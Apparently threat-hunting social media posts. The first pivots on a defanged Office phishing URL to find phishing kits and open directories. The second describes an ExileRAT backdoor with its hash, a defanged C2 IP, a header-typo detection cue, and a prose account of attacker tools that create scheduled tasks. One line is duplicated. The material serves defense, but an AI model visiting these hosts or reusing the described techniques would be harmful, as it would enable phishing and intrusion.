Let's go hunting!
Firstly we need a site to use as a pivot. I have attached a number of sources at the bottom of this thread. For demonstration purposes we will use this site ::
hxxp://www.new.froid-guyader.fr/libraries/sharepointcontract/
This is a #Phishing site against Microsoft Office
hxxp://www.new.froid-guyader.fr/libraries/sharepointcontract/
This is a #Phishing site against Microsoft Office
Initially let's see if there is a #PhishingKit or #OpenDir on the domain. Enumeration on the domain is important. This is a example of sites to load and see ::
- hxxp://www.new.froid-guyader.fr/libraries/
- hxxp://www.new.froid-guyader.fr/
- hxxp://www.froid-guyader.fr/

Mal devs themselves introduce some of the funniest & hi-fi (although short lived) detection opportunities. Amongst several applicable HTTP methodologies, we see "Content-Type:application/octect-stream." Don't manually type out your HPTP headers for your C2 protocolols. #dailypcap
This network traffic comes from newish backdoor ExileRAT (compiled 2019-01-30T07:05:47Z) 606e943b93a2a450c971291e394745a6 that was hanging (with a multitude of other evil) on recently #opendir "http://27.126.188[.]212" There are ties to a humongous cluster of probs CN espionage.
The attackers from IP 27.126.188[.]212 are rollin' deep with kit. get_robin.py (1) looks to be some derivative of github.com/bhdresh python toolkit and also does some logging of connections. Sc.dat (2) is HTML that does JS get and creates a scheduled task for the exe.
